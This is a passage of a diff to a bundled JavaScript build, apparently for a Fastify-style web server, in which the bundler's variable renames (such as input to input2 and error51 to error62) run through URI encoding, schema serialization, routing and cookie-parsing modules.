input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } - return output; + return output2; } function recomposeZonedIPv6Host(component) { const zone = component.ipv6Zone; @@ -34279,8 +34279,8 @@ var require_utils2 = __commonJS({ if (separator === -1) return void 0; const address = host.slice(0, separator); const escaped = address + "%25" + zone; - const derived = normalizeIPv6("[" + escaped + "]"); - if (derived.isIPV6 === true && derived.host === host) { + const derived2 = normalizeIPv6("[" + escaped + "]"); + if (derived2.isIPV6 === true && derived2.host === host) { return "[" + escaped + "]"; } return void 0; @@ -34559,35 +34559,35 @@ var require_schemes2 = __commonJS({ return str; } } - function replaceLoneSurrogates(input) { + function replaceLoneSurrogates(input2) { let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); - if (code >= 55296 && code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); + if (code >= 55296 && code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += input[i] + input[i + 1]; + result += input2[i] + input2[i + 1]; i++; continue; } } - result += code >= 55296 && code <= 57343 ? "\uFFFD" : input[i]; + result += code >= 55296 && code <= 57343 ? "\uFFFD" : input2[i]; } return result; } - function encodeWithAllow(input, set2) { - if (set2.all.test(input)) { - return input; + function encodeWithAllow(input2, set2) { + if (set2.all.test(input2)) { + return input2; } const table2 = set2.table; let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); if (code < 128) { if (table2[code] === 1) { - result += input[i]; - } else if (code === 37 && i + 2 < input.length && HEX_PAIR.test(input.slice(i + 1, i + 3))) { - result += "%" + input.slice(i + 1, i + 3).toUpperCase(); + result += input2[i]; + } else if (code === 37 && i + 2 < input2.length && HEX_PAIR.test(input2.slice(i + 1, i + 3))) { + result += "%" + input2.slice(i + 1, i + 3).toUpperCase(); i += 2; } else { result += BYTE_HEX[code]; @@ -34595,13 +34595,13 @@ var require_schemes2 = __commonJS({ continue; } if (code < 55296 || code > 57343) { - result += set2.allowNonAscii ? input[i] : percentEncodeNonAscii(code); + result += set2.allowNonAscii ? input2[i] : percentEncodeNonAscii(code); continue; } - if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += set2.allowNonAscii ? input[i] + input[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + result += set2.allowNonAscii ? input2[i] + input2[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; continue; } @@ -35250,8 +35250,8 @@ var require_formats = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.formatNames = exports.fastFormats = exports.fullFormats = void 0; - function fmtDef(validate, compare) { - return { validate, compare }; + function fmtDef(validate2, compare) { + return { validate: validate2, compare }; } exports.fullFormats = { // date: http://tools.ietf.org/html/rfc3339#section-5.6 @@ -35462,7 +35462,7 @@ var require_limit = __commonJS({ formatExclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, formatExclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`should be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -35471,7 +35471,7 @@ var require_limit = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, keyword, it } = cxt; const { opts, self: self2 } = it; @@ -35692,14 +35692,14 @@ var require_standalone = __commonJS({ const v = vRef; return validateCode(usedValues, v.source); } else if ((n.prefix === "root" || n.prefix === "wrapper") && typeof vRef == "object") { - const { validate, validateName } = vRef; + const { validate: validate2, validateName } = vRef; if (!validateName) throw new Error("ajv internal error"); const def = ajv.opts.code.es5 ? scope_1.varKinds.var : scope_1.varKinds.const; const wrapper = (0, code_1._)`${def} ${n} = {validate: ${validateName}};`; if (usedState(validateName) === scope_1.UsedValueState.Started) return wrapper; - const vCode = validateCode(usedValues, validate === null || validate === void 0 ? void 0 : validate.source); + const vCode = validateCode(usedValues, validate2 === null || validate2 === void 0 ? void 0 : validate2.source); return (0, code_1._)`${wrapper}${_n}${vCode}`; } return void 0; @@ -36096,21 +36096,21 @@ var require_json_schema_ref_resolver = __commonJS({ } this.#schemas[schemaId] = { schema, anchors: {}, refs: [] }; } - #insertSchemaByAnchor(schema, schemaId, anchor) { + #insertSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#schemas[schemaId]; - if (anchors[anchor] !== void 0) { - throw new Error(`There is already another anchor "${anchor}" in schema "${schemaId}".`); + if (anchors[anchor2] !== void 0) { + throw new Error(`There is already another anchor "${anchor2}" in schema "${schemaId}".`); } - anchors[anchor] = schema; + anchors[anchor2] = schema; } #insertDerefSchemaBySchemaId(schema, schemaId) { const foundSchema = this.#derefSchemas[schemaId]; if (foundSchema !== void 0) return; this.#derefSchemas[schemaId] = { schema, anchors: {} }; } - #insertDerefSchemaByAnchor(schema, schemaId, anchor) { + #insertDerefSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#derefSchemas[schemaId]; - anchors[anchor] = schema; + anchors[anchor2] = schema; } }; function getDataByJSONPointer(data, jsonPointer) { @@ -37517,9 +37517,9 @@ var require_merge_json_schemas = __commonJS({ if (mergedSchema2 !== void 0) { mergedOneOf.push(mergedSchema2); } - } catch (error51) { - if (error51 instanceof errors.MergeError) continue; - throw error51; + } catch (error62) { + if (error62 instanceof errors.MergeError) continue; + throw error62; } } mergedSchema[keyword] = mergedOneOf; @@ -37799,7 +37799,7 @@ var require_fast_json_stringify = __commonJS({ var Serializer = require_serializer(); var Validator = require_validator(); var Location = require_location(); - var validate = require_schema_validator(); + var validate2 = require_schema_validator(); var mergeSchemas = require_merge_schemas(); var largeArraySize = 2e4; var largeArrayMechanism = "default"; @@ -37829,13 +37829,13 @@ const asInteger = serializer.asInteger.bind(serializer) ]); var schemaIdCounter = 0; function isValidSchema(schema, name) { - if (!validate(schema)) { + if (!validate2(schema)) { if (name) { name = `"${name}" `; } else { name = ""; } - const first = validate.errors[0]; + const first = validate2.errors[0]; const err = new Error(`${name}schema is invalid: data${first.instancePath} ${first.message}`); err.errors = isValidSchema.errors; throw err; @@ -38238,11 +38238,11 @@ ${contextFunctionCode}`, : ${variableName} `; } - function buildObject(context2, location, input) { + function buildObject(context2, location, input2) { const schema = location.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38264,12 +38264,12 @@ ${contextFunctionCode}`, } `; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const objVar = `obj_${context2.uid++}`; const code = ` - const ${objVar} = ${toJSON(input)} + const ${objVar} = ${toJSON(input2)} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_OBJECT"} } else { @@ -38279,7 +38279,7 @@ ${contextFunctionCode}`, context2.buildingSet.delete(schema); return code; } - function buildArray(context2, location, input) { + function buildArray(context2, location, input2) { const schema = location.schema; let itemsLocation = location.getPropertyLocation("items"); itemsLocation.schema = itemsLocation.schema || {}; @@ -38289,7 +38289,7 @@ ${contextFunctionCode}`, const itemsSchema = itemsLocation.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38375,13 +38375,13 @@ ${contextFunctionCode}`, return json + JSON_STR_END_ARRAY }`; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const safeSchemaRef = getSafeSchemaRef(context2, location); const objVar = `obj_${context2.uid++}`; let inlinedCode = ` - const ${objVar} = ${input} + const ${objVar} = ${input2} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_ARRAY"} } else if (!Array.isArray(${objVar})) { @@ -38503,18 +38503,18 @@ ${contextFunctionCode}`, function generateFuncName(context2) { return "anonymous" + context2.functionsCounter++; } - function buildMultiTypeSerializer(context2, location, input) { + function buildMultiTypeSerializer(context2, location, input2) { const schema = location.schema; const types2 = schema.type.sort((t1) => t1 === "null" ? -1 : 1); let code = ""; types2.forEach((type, index2) => { location.schema = { ...location.schema, type }; - const nestedResult = buildSingleTypeSerializer(context2, location, input); + const nestedResult = buildSingleTypeSerializer(context2, location, input2); const statement = index2 === 0 ? "if" : "else if"; switch (type) { case "null": code += ` - ${statement} (${input} === null) { + ${statement} (${input2} === null) { ${nestedResult} } `; @@ -38522,14 +38522,14 @@ ${contextFunctionCode}`, case "string": { code += ` ${statement}( - typeof ${input} === "string" || - ${input} === null || - ${input} instanceof Date || - ${input} instanceof RegExp || + typeof ${input2} === "string" || + ${input2} === null || + ${input2} instanceof Date || + ${input2} instanceof RegExp || ( - typeof ${input} === "object" && - typeof ${input}.toString === "function" && - ${input}.toString !== Object.prototype.toString + typeof ${input2} === "object" && + typeof ${input2}.toString === "function" && + ${input2}.toString !== Object.prototype.toString ) ) { ${nestedResult} @@ -38539,7 +38539,7 @@ ${contextFunctionCode}`, } case "array": { code += ` - ${statement}(Array.isArray(${input})) { + ${statement}(Array.isArray(${input2})) { ${nestedResult} } `; @@ -38547,7 +38547,7 @@ ${contextFunctionCode}`, } case "integer": { code += ` - ${statement}(Number.isInteger(${input}) || ${input} === null) { + ${statement}(Number.isInteger(${input2}) || ${input2} === null) { ${nestedResult} } `; @@ -38555,7 +38555,7 @@ ${contextFunctionCode}`, } default: { code += ` - ${statement}(typeof ${input} === "${type}" || ${input} === null) { + ${statement}(typeof ${input2} === "${type}" || ${input2} === null) { ${nestedResult} } `; @@ -38568,52 +38568,52 @@ ${contextFunctionCode}`, `; return code; } - function buildSingleTypeSerializer(context2, location, input) { + function buildSingleTypeSerializer(context2, location, input2) { const schema = location.schema; switch (schema.type) { case "null": return "json += JSON_STR_NULL"; case "string": { if (schema.format === "date-time") { - return `json += asDateTime(${input})`; + return `json += asDateTime(${input2})`; } else if (schema.format === "date") { - return `json += asDate(${input})`; + return `json += asDate(${input2})`; } else if (schema.format === "time") { - return `json += asTime(${input})`; + return `json += asTime(${input2})`; } else if (schema.format === "unsafe") { - return `json += asUnsafeString(${input})`; + return `json += asUnsafeString(${input2})`; } else { return ` - if (typeof ${input} !== 'string') { - if (${input} === null) { + if (typeof ${input2} !== 'string') { + if (${input2} === null) { json += JSON_STR_EMPTY_STRING - } else if (${input} instanceof Date) { - json += JSON_STR_QUOTE + ${input}.toISOString() + JSON_STR_QUOTE - } else if (${input} instanceof RegExp) { - json += asString(${input}.source) + } else if (${input2} instanceof Date) { + json += JSON_STR_QUOTE + ${input2}.toISOString() + JSON_STR_QUOTE + } else if (${input2} instanceof RegExp) { + json += asString(${input2}.source) } else { - json += asString(${input}.toString()) + json += asString(${input2}.toString()) } } else { - json += asString(${input}) + json += asString(${input2}) } `; } } case "integer": - return `json += asInteger(${input})`; + return `json += asInteger(${input2})`; case "number": - return `json += asNumber(${input})`; + return `json += asNumber(${input2})`; case "boolean": - return `json += asBoolean(${input})`; + return `json += asBoolean(${input2})`; case "object": { - return buildObject(context2, location, input); + return buildObject(context2, location, input2); } case "array": { - return buildArray(context2, location, input); + return buildArray(context2, location, input2); } case void 0: - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; default: throw new Error(`${schema.type} unsupported`); } @@ -38695,14 +38695,14 @@ ${contextFunctionCode}`, } traverse(location); } - function buildConstSerializer(location, input) { + function buildConstSerializer(location, input2) { const schema = location.schema; const type = schema.type; const hasNullType = Array.isArray(type) && type.includes("null"); let code = ""; if (hasNullType) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; @@ -38715,12 +38715,12 @@ ${contextFunctionCode}`, } return code; } - function buildAllOf(context2, location, input) { + function buildAllOf(context2, location, input2) { const schema = location.schema; let mergedSchemaId = context2.mergedSchemasIds.get(schema); if (mergedSchemaId) { const mergedLocation2 = getMergedLocation(context2, mergedSchemaId); - return buildValue(context2, mergedLocation2, input); + return buildValue(context2, mergedLocation2, input2); } mergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; context2.mergedSchemasIds.set(schema, mergedSchemaId); @@ -38737,9 +38737,9 @@ ${contextFunctionCode}`, locations.push(allOfsLocation.getPropertyLocation(i)); } const mergedLocation = mergeLocations(context2, mergedSchemaId, locations); - return buildValue(context2, mergedLocation, input); + return buildValue(context2, mergedLocation, input2); } - function buildOneOf(context2, location, input) { + function buildOneOf(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const schema = location.schema; const type = schema.anyOf ? "anyOf" : "oneOf"; @@ -38766,10 +38766,10 @@ ${contextFunctionCode}`, optionLocation ]); } - const nestedResult = buildValue(context2, mergedLocation, input); + const nestedResult = buildValue(context2, mergedLocation, input2); const schemaRef = optionLocation.getSchemaRef(); code += ` - ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input})) { + ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input2})) { ${nestedResult} } `; @@ -38779,7 +38779,7 @@ ${contextFunctionCode}`, `; return code; } - function buildIfThenElse(context2, location, input) { + function buildIfThenElse(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const { if: ifSchema, @@ -38809,10 +38809,10 @@ ${contextFunctionCode}`, } if (!elseSchema) { return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, rootLocation, input)} + ${buildValue(context2, rootLocation, input2)} } `; } @@ -38830,30 +38830,30 @@ ${contextFunctionCode}`, ]); } return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, elseMergedLocation, input)} + ${buildValue(context2, elseMergedLocation, input2)} } `; } - function buildValue(context2, location, input) { + function buildValue(context2, location, input2) { let schema = location.schema; if (typeof schema === "boolean") { - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; } if (schema.$ref) { location = resolveRef2(context2, location); schema = location.schema; } if (schema.allOf) { - return buildAllOf(context2, location, input); + return buildAllOf(context2, location, input2); } if (schema.anyOf || schema.oneOf) { - return buildOneOf(context2, location, input); + return buildOneOf(context2, location, input2); } if (schema.if && schema.then) { - return buildIfThenElse(context2, location, input); + return buildIfThenElse(context2, location, input2); } if (schema.type === void 0) { const inferredType = inferTypeByKeyword(schema); @@ -38866,17 +38866,17 @@ ${contextFunctionCode}`, const nullable2 = schema.nullable === true; if (nullable2) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; } if (schema.const !== void 0) { - code += buildConstSerializer(location, input); + code += buildConstSerializer(location, input2); } else if (Array.isArray(type)) { - code += buildMultiTypeSerializer(context2, location, input); + code += buildMultiTypeSerializer(context2, location, input2); } else { - code += buildSingleTypeSerializer(context2, location, input); + code += buildSingleTypeSerializer(context2, location, input2); } if (nullable2) { code += ` @@ -41705,12 +41705,12 @@ var require_parse3 = __commonJS({ var Empty = function() { }; Empty.prototype = /* @__PURE__ */ Object.create(null); - function parse4(input) { + function parse4(input2) { const result = new Empty(); - if (typeof input !== "string") { + if (typeof input2 !== "string") { return result; } - let inputLength = input.length; + let inputLength = input2.length; let key = ""; let value = ""; let startingIndex = -1; @@ -41722,13 +41722,13 @@ var require_parse3 = __commonJS({ let hasBothKeyValuePair = false; let c = 0; for (let i = 0; i < inputLength + 1; i++) { - c = i !== inputLength ? input.charCodeAt(i) : 38; + c = i !== inputLength ? input2.charCodeAt(i) : 38; if (c === 38) { hasBothKeyValuePair = equalityIndex > startingIndex; if (!hasBothKeyValuePair) { equalityIndex = i; } - key = input.slice(startingIndex + 1, equalityIndex); + key = input2.slice(startingIndex + 1, equalityIndex); if (hasBothKeyValuePair || key.length > 0) { if (keyHasPlus) { key = key.replace(plusRegex, " "); @@ -41737,7 +41737,7 @@ var require_parse3 = __commonJS({ key = fastDecode(key) || key; } if (hasBothKeyValuePair) { - value = input.slice(equalityIndex + 1, i); + value = input2.slice(equalityIndex + 1, i); if (valueHasPlus) { value = value.replace(plusRegex, " "); } @@ -41997,18 +41997,18 @@ var require_stringify = __commonJS({ } return ""; } - function stringify2(input) { + function stringify2(input2) { let result = ""; - if (input === null || typeof input !== "object") { + if (input2 === null || typeof input2 !== "object") { return result; } const separator = "&"; - const keys = Object.keys(input); + const keys = Object.keys(input2); const keyLength = keys.length; let valueLength = 0; for (let i = 0; i < keyLength; i++) { const key = keys[i]; - const value = input[key]; + const value = input2[key]; const encodedKey = encodeString(key) + "="; if (i) { result += separator; @@ -42776,24 +42776,24 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node, opts, starHeight) { + function walk(node2, opts, starHeight) { let i; let ok; let len; - if (node.type === types2.REPETITION) { + if (node2.type === types2.REPETITION) { starHeight++; opts.reps++; if (starHeight > 1) return false; if (opts.reps > opts.limit) return false; } - const options = node.options || node.value?.options; + const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { ok = walk({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } - const stack = node.stack || node.value?.stack; + const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { ok = walk(stack[i], opts, starHeight); @@ -42943,8 +42943,8 @@ var require_pretty_print = __commonJS({ return mergedRoutes; }, []); } - function serializeNode(node, prefix, options) { - let routes = node.routes; + function serializeNode(node2, prefix, options) { + let routes = node2.routes; if (options.method === void 0) { routes = routes.map(normalizeRoute); } @@ -42958,28 +42958,28 @@ var require_pretty_print = __commonJS({ return routes.map(serializeRoute).join(` ${prefix}`); } - function buildObjectTree(node, tree, prefix, options) { - if (node.isLeafNode || options.commonPrefix !== false) { + function buildObjectTree(node2, tree, prefix, options) { + if (node2.isLeafNode || options.commonPrefix !== false) { prefix = prefix || "(empty root node)"; tree = tree[prefix] = {}; - if (node.isLeafNode) { - tree[treeDataSymbol] = serializeNode(node, prefix, options); + if (node2.isLeafNode) { + tree[treeDataSymbol] = serializeNode(node2, prefix, options); } prefix = ""; } - if (node.staticChildrenNodes) { - for (const child of node.staticChildrenNodes) { + if (node2.staticChildrenNodes) { + for (const child of node2.staticChildrenNodes) { buildObjectTree(child, tree, prefix + child.prefix, options); } } - if (node.parametricChildren) { - for (const child of Object.values(node.parametricChildren)) { + if (node2.parametricChildren) { + for (const child of Object.values(node2.parametricChildren)) { const childPrefix = Array.from(child.nodePaths).join("|"); buildObjectTree(child, tree, prefix + childPrefix, options); } } - if (node.wildcardChild) { - buildObjectTree(node.wildcardChild, tree, "*", options); + if (node2.wildcardChild) { + buildObjectTree(node2.wildcardChild, tree, "*", options); } } function prettyPrintTree(root, options) { @@ -43182,14 +43182,14 @@ var require_node = __commonJS({ this.staticChildrenCharCodes = []; this.staticChildrenNodes = []; } - setStaticChild(label, node) { + setStaticChild(label, node2) { const charCode = label.charCodeAt(0); const index2 = this.staticChildrenCharCodes.indexOf(charCode); if (index2 === -1) { this.staticChildrenCharCodes.push(charCode); - this.staticChildrenNodes.push(node); + this.staticChildrenNodes.push(node2); } else { - this.staticChildrenNodes[index2] = node; + this.staticChildrenNodes[index2] = node2; } } findStaticMatchingChild(path, pathIndex) { @@ -43232,9 +43232,9 @@ var require_node = __commonJS({ } return staticChild.createStaticChild(path.slice(i)); } - const node = new StaticNode(path); - this.setStaticChild(path.charAt(0), node); - return node; + const node2 = new StaticNode(path); + this.setStaticChild(path.charAt(0), node2); + return node2; } }; var StaticNode = class _StaticNode extends ParentNode { @@ -43294,13 +43294,13 @@ var require_node = __commonJS({ return staticNode; } getNextNode(path, pathIndex, nodeStack, paramsCount) { - let node = this.findStaticMatchingChild(path, pathIndex); + let node2 = this.findStaticMatchingChild(path, pathIndex); let parametricBrotherNodeIndex = 0; - if (node === null) { + if (node2 === null) { if (this.parametricChildren.length === 0) { return this.wildcardChild; } - node = this.parametricChildren[0]; + node2 = this.parametricChildren[0]; parametricBrotherNodeIndex = 1; } if (this.wildcardChild !== null) { @@ -43317,7 +43317,7 @@ var require_node = __commonJS({ brotherNode: this.parametricChildren[i] }); } - return node; + return node2; } _compilePrefixMatch() { if (this.prefix.length === 1) { @@ -44242,7 +44242,7 @@ var require_find_my_way = __commonJS({ path = sanitizedUrl.path; querystring2 = sanitizedUrl.querystring; shouldDecodeParam = sanitizedUrl.shouldDecodeParam; - } catch (error51) { + } catch (error62) { return this._onBadUrl(path); } if (this.ignoreTrailingSlash) { @@ -44270,8 +44270,8 @@ var require_find_my_way = __commonJS({ }; } } - let node = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); - if (node === null) { + let node2 = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); + if (node2 === null) { if (brothersNodesStack.length === 0) { if (maxParamLengthExceeded && this.onMaxParamLength) { return this._onMaxParamLength(originPath); @@ -44281,9 +44281,9 @@ var require_find_my_way = __commonJS({ const brotherNodeState = brothersNodesStack.pop(); pathIndex = brotherNodeState.brotherPathIndex; params.splice(brotherNodeState.paramsCount); - node = brotherNodeState.brotherNode; + node2 = brotherNodeState.brotherNode; } - currentNode = node; + currentNode = node2; while (true) { if (currentNode.kind === NODE_TYPES.STATIC) { pathIndex += currentNode.prefix.length; @@ -44479,7 +44479,7 @@ var require_find_my_way = __commonJS({ if (parsed.protocol !== `${scheme}:` || parsed.host.length === 0) { return null; } - } catch (error51) { + } catch (error62) { return null; } if (authorityEnd === url2.length) { @@ -44880,14 +44880,14 @@ var require_route = __commonJS({ const hasHEADHandler = headHandler !== null; try { router.on(opts.method, opts.url, { constraints }, routeHandler, context2); - } catch (error51) { + } catch (error62) { if (!context2[kRouteByFastify]) { const methods = Array.isArray(opts.method) ? opts.method : [opts.method]; - const isDuplicatedRoute = methods.some((method) => error51.message.includes(`Method '${method}' already declared for route`)); + const isDuplicatedRoute = methods.some((method) => error62.message.includes(`Method '${method}' already declared for route`)); if (isDuplicatedRoute) { throw new FST_ERR_DUPLICATED_ROUTE(opts.method, opts.url); } - throw error51; + throw error62; } } this.after((notHandledErr, done) => { @@ -44924,16 +44924,16 @@ var require_route = __commonJS({ opts.validatorCompiler || schemaController.validatorCompiler, isCustom ); - } catch (error51) { - throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error62.message); } if (opts.schema.response && !opts.serializerCompiler) { schemaController.setupSerializer(this[kOptions]); } try { compileSchemasForSerialization(context2, opts.serializerCompiler || schemaController.serializerCompiler); - } catch (error51) { - throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error62.message); } } }); @@ -45906,12 +45906,12 @@ var require_request2 = __commonJS({ } util.inherits(Request, Readable); util.inherits(CustomRequest, Request); - Request.prototype.destroy = function(error51) { + Request.prototype.destroy = function(error62) { if (this.destroyed || this._lightMyRequest.isDone) return; this.destroyed = true; - if (error51) { + if (error62) { this._error = true; - process.nextTick(() => this.emit("error", error51)); + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -45998,42 +45998,42 @@ var require_set_cookie = __commonJS({ } return { name, value }; } - function parse4(input, options) { + function parse4(input2, options) { options = options ? Object.assign({}, defaultParseOptions, options) : defaultParseOptions; - if (!input) { + if (!input2) { if (!options.map) { return []; } else { return createNullObj(); } } - if (input.headers) { - if (typeof input.headers.getSetCookie === "function") { - input = 